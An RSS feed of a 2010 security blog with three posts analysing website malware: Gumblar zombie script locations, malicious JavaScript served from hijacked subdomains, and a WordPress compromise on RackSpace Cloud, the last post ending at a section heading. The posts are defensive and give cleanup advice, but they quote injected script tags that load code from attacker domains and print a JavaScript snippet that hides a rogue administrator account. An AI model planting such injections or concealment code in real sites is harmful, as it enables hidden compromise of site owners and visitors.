<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unmask Parasites. Blog. &#187; Website exploits</title>
	<atom:link href="http://blog.unmaskparasites.com/category/website-exploits/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.unmaskparasites.com</link>
	<description>Website insecurity by example</description>
	<lastBuildDate>Thu, 29 Jul 2010 19:20:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Analysis of Gumblar Zombie URLs</title>
		<link>http://blog.unmaskparasites.com/2010/06/29/analysis-of-gumblar-zombie-urls/</link>
		<comments>http://blog.unmaskparasites.com/2010/06/29/analysis-of-gumblar-zombie-urls/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 16:29:34 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[gifimg.php]]></category>
		<category><![CDATA[gumblar]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=650</guid>
		<description><![CDATA[As you might know, I maintain and regularly update a list of Gumblar zombie URLs. The main reason why I do it is to help webmasters of compromised sites find relevant information about the source of their problems and the steps required to clean up and secure their sites. I see this pattern quite often, [...]]]></description>
			<content:encoded><![CDATA[<p>As you might know, I maintain and regularly update a <a href="http://blog.unmaskparasites.com/2009/12/18/list-of-gumblar-zombie-urls/">list of Gumblar zombie URLs</a>. The main reason why I do it is to help webmasters of compromised sites find relevant information about the source of their problems and the steps required to <a href="http://blog.unmaskparasites.com/2009/10/23/revenge-of-gumblar-zombies/#detection">clean up and secure their sites</a>. I see this pattern quite often, when webmasters find a suspicious script in their web pages and use it in Google searches to find more information about it. On the other hand, this list can also help reveal the security breach of sites that hackers use to host Gumblar zombie scripts.</p>
<p>This week the list has reached the level of <strong>1,000+</strong> URLs. Although it&#8217;s just a small part of all Gumblar zombie scripts, this list makes a good base for a quick analysis of Gumblar zombie URLs.<br />
<span id="more-650"></span></p>
<h3>What is a Gumblar zombie script?</h3>
<p>On some compromised websites, Gumblar creates  a new file with  a .<em><span style="color: #303030;"><strong>php</strong></span></em> extension. A link to this file is injected to other compromised sites.</p>
<p><code>&lt;script src=hxxp://hacked-site.com/subdirectory/zombie-script.php &gt;&lt;/script&gt;</code></p>
<p>This script either tries to attack web surfers&#8217; computer silently loading binary exploit files from the same zombie site, or load yet another zombie script from a third-party zombie site.</p>
<p>The zombie scripts are not linked to from any existing files on the same zombie site. Their are hidden somewhere in the directory structure and have names that look very trustworthy to site owners (they usually have a name of some existing legitimate file but with a .<em><span style="color: #333333;"><strong>php</strong></span></em> extension). This is why webmasters of compromised sites (Gumblars zombies) are usually completely unaware of such scripts on their sites (and as a result they are usually puzzled over why Google has blacklisted their sites and says their sites host malicious content and infect other sites). Although my <a href="http://blog.unmaskparasites.com/2009/12/18/list-of-gumblar-zombie-urls/">list</a> is not complete, it helps webmasters locate zombie scripts on their sites.</p>
<p>And the below analysis of  this list reveals interesting details both about the Gumblar attack and about its zombie URLs.</p>
<h3>Analysis</h3>
<p>I analyzed <span style="color: #333333;"><strong>1042</strong></span> Gumblar zombie URL.</p>
<h4>Top level domains</h4>
<p>The attack affects sites all over the world. My list contains sites with <span style="color: #333333;"><strong>73</strong></span> different top level domains. Of course, <span style="color: #333333;"><strong>.com</strong></span> sites (as the most wide-spread) are the most affected.</p>
<p><code>------------------- Top 10 TLDs ---------------------<br />
<span style="color: #808080;">1</span> .com                               452      43.4%<br />
<span style="color: #808080;">2</span> .net                                77       7.4%<br />
<span style="color: #808080;">3</span> .ru                                 57       5.5%<br />
<span style="color: #808080;">4</span> .org                                48       4.6%<br />
<span style="color: #808080;">5</span> .hu                                 37       3.6%<br />
<span style="color: #808080;">6</span> .de                                 32       3.1%<br />
<span style="color: #808080;">7</span> .in                                 25       2.4%<br />
<span style="color: #808080;">8</span> .pl                                 23       2.2%<br />
<span style="color: #808080;">9</span> .kr                                 23       2.2%<br />
<span style="color: #808080;">10</span> .ar                                 17       1.6%<br />
<span style="color: #ffffff;">:</span> the rest                           251      24.1%<br />
</code></p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://chart.apis.google.com/chart?cht=p&amp;chs=360x290&amp;chd=t:452,77,57,48,37,32,25,23,23,17,251&amp;chds=0,452&amp;chl=.com|.net|.ru|.org|.hu|.de|.in|.pl|.kr|.ar|the+rest&amp;chtt=Top+10+TLDs" border="0" alt="Top 10 TLDs" /></div>
<h4>File names</h4>
<p><strong>1042</strong> URLs contain <strong>749</strong> unique filenames. As I already told you, the names are usually a combination of a name of some existing file and a <strong>.php</strong> extension. So no wonder, the most popular name of a zombie script is <em><strong>index.php</strong></em>. However, sometimes hackers use a filename (specific to the Gumblar attack) that doesn&#8217;t match any filenames of existing files &#8211; <em><strong>gifimg.php</strong></em>. It the the second most popular name of Gumblar zombie scripts.</p>
<p><code>---------------- Top 10 Filenames -------------------<br />
<span style="color: #808080;">1</span> index.php                           73       7.0%<br />
<span style="color: #808080;">2</span> gifimg.php                          55       5.3%<br />
<span style="color: #808080;">3</span> contact.php                         13       1.2%<br />
<span style="color: #808080;">4</span> style.php                            9       0.9%<br />
<span style="color: #808080;">5</span> error_log.php                        8       0.8%<br />
<span style="color: #808080;">6</span> _vti_inf.php                         8       0.8%<br />
<span style="color: #808080;">7</span> LICENSE.php                          8       0.8%<br />
<span style="color: #808080;">8</span> favicon.php                          7       0.7%<br />
<span style="color: #808080;">9</span> .ftpquota.php                        7       0.7%<br />
<span style="color: #808080;">10</span> robots.php                           7       0.7%<br />
<span style="color: #ffffff;">:</span> the rest                           847      81.3%</code></p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://chart.apis.google.com/chart?cht=p&amp;chs=450x300&amp;chd=t:847,73,55,13,9,8,8,8,7,7,7&amp;chds=0,847&amp;chl=the+rest|index.php|gifimg.php|contact.php|style.php|error_log.php|_vti_inf.php|LICENSE.php|favicon.php|.ftpquota.php|robots.php&amp;chtt=Top+10+Filenames" border="0" alt="Top 10 Filenames" /></div>
<h4>Directories</h4>
<p>To make zombie scripts less prominent, hackers create them in subdirectories of hacked sites. In my list of <strong>1042</strong> URLs I found <strong>562</strong> unique paths (excluding filenames) to the rogue scripts. The most popular location of Gumblar zombie scripts is the <strong>/images</strong> directory (<strong>16.5%</strong>). It&#8217;s a very good location to hide malicious files &#8212; webmasters rarely check directories with image files when they are searching for something that can contain executable code. Moreover, if a file has some benign filename (e.g. <em><strong>gifimg</strong></em>) it can be easily overlooked. Other service directories (e.g. <em>/cgi-bin</em>, <em>/_vti_bin</em>, <em>/css</em>, <em>/tmp</em>, <em>/js</em>) are also among popular locations.</p>
<p>The tenth position is empty. This means that in less than <strong>1%</strong> of cases the zombie script was found directly in the site root directory.</p>
<p><code>----------------- Top 10 directories ----------------<br />
<span style="color: #808080;">1</span> /images                            172      16.5%<br />
<span style="color: #808080;">2</span> /cgi-bin                            24       2.3%<br />
<span style="color: #808080;">3</span> /_vti_bin                           21       2.0%<br />
<span style="color: #808080;">4</span> /css                                18       1.7%<br />
<span style="color: #808080;">5</span> /img                                15       1.4%<br />
<span style="color: #808080;">6</span> /tmp                                13       1.2%<br />
<span style="color: #808080;">7</span> /wp-content                         12       1.2%<br />
<span style="color: #808080;">8</span> /js                                 10       1.0%<br />
<span style="color: #808080;">9</span> /wp-admin                           10       1.0%<br />
<span style="color: #808080;">10</span> 9       0.9%<br />
<span style="color: #ffffff;">:</span> the rest                           738      70.8%<br />
</code></p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://chart.apis.google.com/chart?cht=p&amp;chs=450x300&amp;chd=t:738,172,24,21,18,15,13,12,10,10,9&amp;chds=0,738&amp;chl=the+rest|/images|/cgi-bin|/_vti_bin|/css|/img|/tmp|/wp-content|/js|/wp-admin|/&amp;chtt=Top+10+Directories" border="0" alt="Top 10 directories" /></div>
<h4>Subdirectory levels</h4>
<p>In majority of cases (<strong>91.5%</strong>), zombie scripts can be found in a subdirectory one level deep. E.g. <em><strong>/images/</strong>zombie.php</em>, <em><strong>/tmp/</strong>zombie.php</em>, etc. However, sometimes their location is as deep as <strong>3</strong> levels from site root. E.g. <em><strong>/_flash/_notes/vz29/</strong>zombie.php</em>. In nine cases (&lt;<strong>1%</strong>),  zombie scripts were found in a root directory (<strong>0</strong> levels deep)<br />
<code>---------- Location relative to site root -----------<br />
<span style="color: #808080;">1</span> 1 level deep                      953      91.5%<br />
<span style="color: #808080;">2</span> 2 levels deep                      56       5.4%<br />
<span style="color: #808080;">3</span> 3 levels deep                      24       2.3%<br />
<span style="color: #808080;">4</span> 0 levels deep                       9       0.9%</code></p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://chart.apis.google.com/chart?cht=p&amp;chs=450x300&amp;chd=t:953,56,24,9&amp;chds=0,738&amp;chl=1+level+deep|2+levels+deep|3+levels+deep|0+level+deep&amp;chtt=Location+relative+to+site+root" border="0" alt="Location relative to site root" /></div>
<h3>Web servers</h3>
<p>Gumblar uses <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP credentials</a> to break into web sites. This means that regardless of web server technology any site is potentially vulnerable to this sort of attack (as long as webmasters use FTP). My list of Gumblar zombie URLs provide enough evidence to prove this. You can find filenames and directories specific to different web server technologies.</p>
<p>For example:  <em><strong> </strong></em></p>
<ul>
<li><em><strong>.htaccess.php</strong></em> files  &#8212; <a href="http://httpd.apache.org/" target="_blank">Apache</a></li>
<li><em><strong>_vti_bin</strong></em> directories and <em><strong>_vti_inf.php</strong></em> files &#8212; sites powered by Microsoft technologies</li>
<li><strong><em>WEB-INF/classes/v7j/servertest.class.php</em></strong> &#8212; <a href="http://tomcat.apache.org/">Tomcat</a></li>
</ul>
<h3>&#8220;s&#8221; directories</h3>
<p>On many websites, next to a Gumblar zombie script there is a directory called <em><strong>s</strong></em>. It contains Gumblar service and log files. If you find it on your server, make sure to delete it.</p>
<h3>Have your say</h3>
<p>Did you notice any other interesting patterns in the<a href="http://blog.unmaskparasites.com/2009/12/18/list-of-gumblar-zombie-urls/"> list of Gumblar zombie URLs</a>? Your comments are welcome!</p>
<p><span style="color: #999999;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/12/18/list-of-gumblar-zombie-urls/">List of Gumblar Zombie URLs</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/10/23/revenge-of-gumblar-zombies/">Revenge  of Gumblar Zombies</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">Gumblar  .cn Exploit – 12 Facts About This Injected Script</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10  FTP Clients Malware Steals Credentials From</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/06/29/analysis-of-gumblar-zombie-urls/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Malware on Hijacked Subdomains. Part 2.</title>
		<link>http://blog.unmaskparasites.com/2010/06/17/malware-on-hijacked-subdomains-part-2/</link>
		<comments>http://blog.unmaskparasites.com/2010/06/17/malware-on-hijacked-subdomains-part-2/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 20:40:57 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[GoDaddy]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[Phishing]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=639</guid>
		<description><![CDATA[About a month ago I wrote about a hacker attack that used hijacked subdomains of legitimate websites to serve malware (fake anti-virus software) off of them. Most likely cyber criminals used a phishing attack to steal credentials of GoDaddy&#8217;s domain management control panel and created rogue DNS records for some subdomains to make them point [...]]]></description>
			<content:encoded><![CDATA[<p>About a month ago I wrote about a <a href="http://blog.unmaskparasites.com/2010/05/22/malware-on-hijacked-subdomains-new-trend/">hacker attack that used hijacked subdomains</a> of legitimate websites to serve malware (fake anti-virus software) off of them. Most likely cyber criminals used a <a href="http://en.wikipedia.org/wiki/Phishing" target="_blank">phishing attack</a> to steal credentials of GoDaddy&#8217;s domain management control panel and created rogue DNS records for some subdomains to make them point to hacker-controlled servers.</p>
<p>In that article I wondered if that was a new trend (usage of virtually free hijacked subdomains) or just temporary approach that wouldn&#8217;t be used anywhere else. Well, this week I came across a different malware attack that also uses hijacked subdomains of legitimate websites.<br />
<span id="more-639"></span><br />
The attack itself is nothing new. It uses <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP credentials</a> to inject malicious scripts into legitimate web pages. The injected scripts look like this:</p>
<p><code>&lt;sc ript type="text/javascript" src="hxxp://<strong>oployau .fancountblogger .com:8080/YouTube.js</strong>"&gt;&lt;/sc ript&gt;<br />
&lt;!--8469f3ebb36bebb12b39b0f9e7fe5933--&gt;</code></p>
<p>The scripts reminds of <a href="http://blog.unmaskparasites.com/2009/06/25/hidden-cn-iframes-are-still-prevalent/">many</a> <a href="http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/">other</a> <a href="http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/">attacks</a> that used nginx reverse proxy on port <span style="color: #333333;"><strong>8080</strong></span> on compromised servers (in this case this is true too).</p>
<h3 id="script_names">Script names</h3>
<p>I checked many infected sites and noticed that the injected scripts always used the same <span style="color: #333333;"><strong>5</strong></span> subdomains and changed the file name part of the script from site to site. They always used Internet/computer related file names, e.g.:  <em>YouTube.js</em>, <em>Virtual_Reality.js</em>, <em>Backup.js</em>, <em>Unfriend.js</em>, <em>Keystroke.js</em>, <em>Access.js</em>, <em>Technology_Services.js</em>, <em>Page_View.js</em>, <em>Gigahertz.js</em>, <em>Telnet.js</em>, <em>Data_Type.js</em>, <em>Paste.js</em>, <em>Gnutella.js</em>, <em>Website.js</em>, etc.</p>
<h3 id="subdomains">Hijacked subdomains</h3>
<p>The <strong>5</strong> subdomains are (there may be more but I only seen these five):</p>
<ul>
<li><strong>oployau .fancountblogger .com</strong></li>
<li><strong>sorydory .russellhowe .com</strong></li>
<li><strong>aospfpgy .dogplaystation .com</strong></li>
<li><strong>kollinsoy .skyefenton .com</strong></li>
<li><strong>temp .hbsouthmomsclub .com</strong></li>
</ul>
<p><span style="color: #333333;"><em><strong>Update:</strong> You can find many more hijacked subdomains <a href="#comments">in comments</a>.</em></span></p>
<p>Each of them points to different IPs on different networks. And none of the IPs matches the IP (or even network) of their second-level domains.</p>
<p>All the second-level domains have been registered and now managed via GoDaddy. Some of them point to real legitimate websites and others are just parked domains.</p>
<p>It&#8217;s clear that hackers somehow gained access to those domains&#8217; DNS management panel and created rogue DNS records for subdomains that legitimate domain owners cannot even imagine exist.</p>
<p><code>oployau.fancountblogger.com. 937     IN    A    78.137.161.186<br />
sorydory.russellhowe.com.    3530    IN    A    88.198.25.170<br />
aospfpgy.dogplaystation.com. 2792    IN    A    216.154.216.15<br />
kollinsoy.skyefenton.com.    399     IN    A    194.150.236.199<br />
temp.hbsouthmomsclub.com.    1116    IN    A    81.89.109.23</code></p>
<p>This is the second attack in a short time that uses this approach to get free domain names to use in malware distribution. I guess, it is still to early to call this a trend, but it&#8217;s definitely something that we should keep an eye on.</p>
<h3 id="domains_owners">To domain owners</h3>
<p>When was the last time you checked DNS records of your domains? Are you sure there are no rogue subdomains that criminals use behind your back? Probably it&#8217;s time to check your domain settings now. But don&#8217;t forget about phishing attacks &#8211; make sure you are logging into a genuine site of your registrar. (<a href="https://www.godaddy.com/security/internet-security.aspx?isc=smtwsup">Check GoDaddy&#8217;s security tips</a>)</p>
<h3 id="webmasters">To webmasters</h3>
<p>If you found one of the above scripts in your web pages (you can use <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> to detect them) do the following:</p>
<ol>
<li>Scan your computer for malware.</li>
<li>When you are sure it is clean, change all site passwords.</li>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">Don&#8217;t save new passwords in FTP clients</a> (unless they provide a master key encryption)</li>
<li>If possible, use only secure file transfer protocols (e.g. <a href="http://en.wikipedia.org/wiki/SSH_file_transfer_protocol" target="_blank">SFTP</a> or <a href="http://en.wikipedia.org/wiki/FTPS">FTPS</a>). Plain FTP is very insecure.</li>
<li>Remove the malicious scripts from files on server. Note, the scripts may also be injected into <strong>.js</strong> files. Sometimes hackers even create malicious <strong>.js</strong> files on compromised servers. If you don&#8217;t want to miss any infected files, consider removing everything and then restoring the site from a clean backup copy.</li>
<li>If your site is blacklisted by Google, you need to request a malware review via Google Webmaster Tools (<em>Diagnostics</em> -&gt; <em>Malware</em>). You can read more about it in my <a href="http://www.unmaskparasites.com/malware-warning-guide/">guide</a>.</li>
</ol>
<h3>Have your say</h3>
<p>Do you know any other malware attacks that use hijacked subdomains of legitimate websites? Can we call this a new trend?</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://http://blog.unmaskparasites.com/2010/05/22/malware-on-hijacked-subdomains-new-trend/">Malware on Hijacked Subdomains. New Trend?</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/06/17/malware-on-hijacked-subdomains-part-2/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Attack on WordPress Blogs on RackSpace</title>
		<link>http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/</link>
		<comments>http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 17:17:37 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[amin]]></category>
		<category><![CDATA[mySql]]></category>
		<category><![CDATA[phpMyAdmin]]></category>
		<category><![CDATA[RackSpace]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=637</guid>
		<description><![CDATA[This year we regularly see how hackers exploit security holes in infrastructure of large shared hosting providers to compromise thousands legitimate websites of their clients. Network Solutions, GoDaddy, Servage &#8211; they all are notorious for their security problems. Now RackSpace Cloud has fallen  victim to a massive hacker attack&#8230;

Here&#8217;s the story
On Saturday, I received [...]]]></description>
			<content:encoded><![CDATA[<p>This year we regularly see how hackers exploit security holes in infrastructure of large shared hosting providers to compromise thousands legitimate websites of their clients. <a href="http://blog.unmaskparasites.com/2010/04/11/network-solutions-and-wordpress-security-flaw/">Network Solutions</a>, <a href="http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/">GoDaddy</a>, <a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/">Servage</a> &#8211; they all are notorious for their security problems. Now <a href="http://www.rackspacecloud.com/" target="_blank">RackSpace Cloud</a> has fallen  victim to a massive hacker attack&#8230;<br />
<span id="more-637"></span></p>
<h3 id="story">Here&#8217;s the story</h3>
<p>On Saturday, I received an email from one of <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> users whose site had been blacklisted by Google.</p>
<p>He found a &#8220;fake admin&#8221; account in a WordPress control panel and a new file called &#8220;e.index&#8221;. And still he saw suspicious external scripts in his three blogs when he checked them in <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>.</p>
<p>When I checked the sites, I found those scripts right after the first <span style="color: #993300;">&lt;div class=&#8221;entry&#8221;&gt;</span> tag on the index pages. Although they used different domains and subdomains, they looked pretty much the same:</p>
<ol>
<li><span style="color: #993300;">&lt;h5&gt;&lt;script src=hxxp ://<strong>m808j .newsapis .us/js/jquery.min.js</strong>&gt;&lt;/script&gt;&lt;/h5&gt;</span></li>
<li><span style="color: #993300;">&lt;h5&gt;&lt;script src=hxxp ://<strong>ee9kd .smartenergymodel .com/js/jquery.min.js</strong>&gt;&lt;/script&gt;&lt;/h5&gt;</span></li>
<li><span style="color: #993300;">&lt;h5&gt;&lt;script src=hxxp ://<strong>w7c5lrhqu .newsapis .us/js/jquery.min.js</strong>&gt;&lt;/script&gt;&lt;/h5&gt;</span></li>
</ol>
<p>This is when I decided to investigate this case, and here is what I found&#8230;</p>
<h3 id="localization">Attack localization</h3>
<p><strong>1</strong>. I checked other sites on the same IP (<strong>64.49.219.218</strong>) and found many similarly hacked sites.</p>
<p><strong>2</strong>. All hacked sites were WordPress blogs.</p>
<p><strong>3</strong>. All versions of  WordPress were affected (including the current stable version 2.9.2).</p>
<p><strong>4</strong>. The IP belongs to <a href="http://www.rackspacecloud.com" target="_blank">RackSpace Cloud</a>. When I checked WordPress blogs on neighbor RackSpace IPs, I found similarly hacked blogs on <strong>all</strong> of them in the range <strong>64.49.219.194</strong> &#8211; <strong>252</strong> and on <strong>64.49.217.121</strong>. On RackSpace, sites are supposed to be stored in the cloud, so we can only guess how many physical servers those IPs refer to.</p>
<p><strong>5</strong>. Majority of WordPress blogs seem to be affected. But not all. About <strong>20%</strong> of checked blogs were free from the malicious scripts. Probably, some of them have been already cleaned up. Others are still waiting for their turn to be hacked (hackers could break into sites manually, one by one)</p>
<p><strong>6</strong>. Many of the checked WordPress blogs also contain cloaked spammy links to pirated movies and software. This makes me think that hackers have been exploiting RackSpace Cloud servers for quite some time.</p>
<p><strong>7</strong>. I couldn&#8217;t find any blogs affected by this attack on other networks.  Most likely this attack is limited to certain RackSpace segments.</p>
<h3 id="details">Details about the attack and speculations on its vector</h3>
<p>I found an interesting <a href="http://wordpress.org/support/topic/405684" target="_blank">thread on WordPress forum</a> that says:</p>
<p><strong>1</strong>. Hackers create a new admin user with username &#8220;<span style="color: #993300;"><strong>amin</strong></span>&#8221; and name &#8220;<strong><span style="color: #993300;">&#8230;</span></strong>&#8221; (the name is three dots)</p>
<p><strong>2</strong>. The hacked blogs are on RackSpace Cloud</p>
<p><strong>3</strong>. Logs created by the &#8220;Admin Log&#8221; plugin show that this rogue &#8220;<span style="color: #993300;">amin</span>&#8221; user accessed blog and edited WordPress theme files.</p>
<p><strong>4</strong>. Sometimes they inject base64-encode malicious iframes into theme files. They also create other encrypted files in various locations of the compromised sites. Some of them are PHP shells.</p>
<p><strong>5</strong>. Moreover, the admin logs also show that the real name of that user is not &#8220;<span style="color: #993300;">&#8230;</span>&#8220;. In reality it contains many HTML tags and JavaScripts right after those three dots (they are stripped when WordPress displays the name on a web page).<br />
<code>...<br />
&lt;b id="user_superuser"&gt;&lt;script language="JavaScript"&gt;<br />
var setUserName = function(){<br />
try{<br />
var t=document.getElementById("user_superuser");<br />
while(t.nodeName!="TR"){<br />
t=t.parentNode;<br />
};<br />
t.parentNode.removeChild(t);<br />
var tags = document.getElementsByTagName("H3");<br />
var s = " shown below";<br />
for (var i = 0; i &lt; tags.length; i++) {<br />
var t=tags[i].innerHTML;<br />
var h=tags[i];<br />
if(t.indexOf(s)&gt;0){<br />
s =(parseInt(t)-1)+s;<br />
h.removeChild(h.firstChild);<br />
t = document.createTextNode(s);<br />
h.appendChild(t);<br />
}<br />
}<br />
var arr=document.getElementsByTagName("ul");<br />
for(var i in arr) if(arr[i].className=="subsubsub"){<br />
var n=/&gt;Administrator \((\d+)\)&lt;/gi.exec(arr[i].innerHTML);<br />
if(n!=null &amp;&amp; n[1]&gt;0){<br />
var txt=arr[i].innerHTML.replace(/&gt;Administrator \((\d+)\)&lt;/gi,"&gt;Administrator ("+(n[1]-1)+")&lt;");<br />
arr[i].innerHTML=txt;<br />
}<br />
var n=/&gt;Administrator &lt;span&gt;\((\d+)\)&lt;/gi.exec(arr[i].innerHTML);<br />
if(n!=null &amp;&amp; n[1]&gt;0){<br />
var txt=arr[i].innerHTML.replace(/&gt;Administrator &lt;span&gt;\((\d+)\)&lt;/gi,"&gt;Administrator &lt;span class=\"count\"&gt;("+(n[1]-1)+")&lt;");<br />
arr[i].innerHTML=txt;<br />
}<br />
var n=/&gt;All &lt;span&gt;\((\d+)\)&lt;/gi.exec(arr[i].innerHTML);<br />
if(n!=null &amp;&amp; n[1]&gt;0){<br />
var txt=arr[i].innerHTML.replace(/&gt;All &lt;span&gt;\((\d+)\)&lt;/gi,"&gt;All &lt;span class=\"count\"&gt;("+(n[1]-1)+")&lt;");<br />
arr[i].innerHTML=txt;<br />
}<br />
}<br />
}catch(e){};<br />
};<br />
addLoadEvent(setUserName);<br />
&lt;/script&gt;</code><br />
If I&#8217;m not mistaken, this code should hide the rogue user in the WordPress control panel. However, in recent versions of WordPress, values from database are properly sanitized (all tags are simply removed) and this code has no chance to be executed in a browser.</p>
<p>I played with the name parameter and could only duplicate admin logs with HTML tags if I inject them directly into the &#8220;usermeta&#8221; table bypassing WordPress altogether. This means that hackers have direct access to WordPress databases on RackSpace servers.</p>
<p><strong>6</strong>. Hackers also injected the above mentioned scripts into the database entry of the most recent posts.</p>
<p><strong>7</strong>. <a href="http://wordpress.org/support/topic/405684#post-1550270">One of the posts</a> in that thread also suggests that the attack vector is a <a href="http://www.phpmyadmin.net/home_page/security/PMASA-2010-3.php" target="_blank">vulnerable version (2.11.3)</a> of <strong>phpMyAdmin</strong> used by RackSpace Cloud. If this is true, hackers must have targeted an <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">XSRF attack</a> at one of RackSpace admins with mySql root permissions to gain access to the whole database (probably created one more admin user). At this point, RackSpace has <a href="http://status.mosso.com/2010/06/emergency-phpmyadmin-maintenance-ongoing.html">upgraded their phpMyAdmin</a> nodes. Hope, they also found any changes in the database done by those hackers.</p>
<h3 id="scripts">More about the malicious scripts</h3>
<p>In one of <a href="http://jsunpack.jeek.org/dec/go?report=6d36bbf5412c298776e4b9d4e5c9596fc1a0d1a5" target="_blank">JSUnpack</a> reports, I found a decoded script that mentions <strong>5</strong> domain names that hackers used in this attack.</p>
<p><code>var doms = ['<strong>smartenergymodel.com</strong>', '<strong>googleapis.biz</strong>', '<strong>newsapis.us</strong>',<br />
'<strong>emapis.org</strong>', '<strong>toolbarinc.com</strong>'];</code></p>
<p>Indeed, on all affected sites, I found external scripts from subdomains of these five sites.</p>
<p>That report from jsunpack also suggests that initially hackers used only <strong>5</strong> subdomains:</p>
<p><code>var preffs = ['scripts.', 'library.', 'ajax.', 'toolbar.', 'inc.', 'java.']</code></p>
<p>They made the injected scripts look trustworthy. Just compare a legitimate script of jQuery library provided by Google with one of the malicious variants used in this attack:</p>
<p><span style="color: #008000;">http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js</span><br />
<span style="color: #993300;">hxxp://ajax.googleapis.biz/js/jquery.min.js</span></p>
<p>However, now hackers use random meaningless subdomain names and change them from site to site. (Examples: <em><span style="color: #993300;">nk0x.googleapis .biz</span></em>, <span style="color: #993300;"><em>c8lk .newsapis .us</em></span>, <span style="color: #993300;"><em>u6j.toolbarinc .com</em></span>, <span style="color: #993300;"><em>awcdxvs1d.smartenergymodel .com</em></span>, <span style="color: #993300;"><em>s56yqv3h.emapis .org</em></span>)</p>
<p>Four of these domain names have been created on <strong>May 10, 2010</strong>, and one (<em>smartenergymodel  .com</em>) has been updated on the same date.</p>
<p>All these sites (and their subdomains) are hosted on several servers of  <strong>C I Host</strong> (Tampa, Florida). Here are their DNS records:</p>
<p><code>newsapis.us.          3600    IN    A    66.221.228.26<br />
newsapis.us.          3600    IN    A    64.182.83.130<br />
newsapis.us.          3600    IN    A    66.221.165.153<br />
-------------------------------------------------------<br />
googleapis.biz.       3600    IN    A    66.221.234.209<br />
googleapis.biz.       3600    IN    A    66.221.165.155<br />
googleapis.biz.       3600    IN    A    64.182.83.129<br />
-------------------------------------------------------<br />
emapis.org.           3600    IN    A    66.221.224.205<br />
emapis.org.           3600    IN    A    66.221.165.151<br />
emapis.org.           3600    IN    A    64.182.83.132<br />
-------------------------------------------------------<br />
toolbarinc.com.       3600    IN    A    66.221.165.149<br />
toolbarinc.com.       3600    IN    A    64.182.83.134<br />
toolbarinc.com.       3600    IN    A    66.221.224.191<br />
-------------------------------------------------------<br />
smartenergymodel.com. 3600    IN    A    66.221.231.251<br />
smartenergymodel.com. 3600    IN    A    66.221.165.147<br />
smartenergymodel.com. 3600    IN    A    64.182.83.136</code></p>
<p>Their subdomains are also configured as A records.</p>
<p>The scripts serve malicious content under certain conditions only. As a result, Google currently blacklists only two domains (<a href="http://www.google.com/safebrowsing/diagnostic?site=newsapis.us" target="_blank">newsapis.us</a> and <a href="http://www.google.com/safebrowsing/diagnostic?site=googleapis.biz" target="_blank">googleapis.biz</a>) out of five.</p>
<h3 id="webmasters">To webmasters</h3>
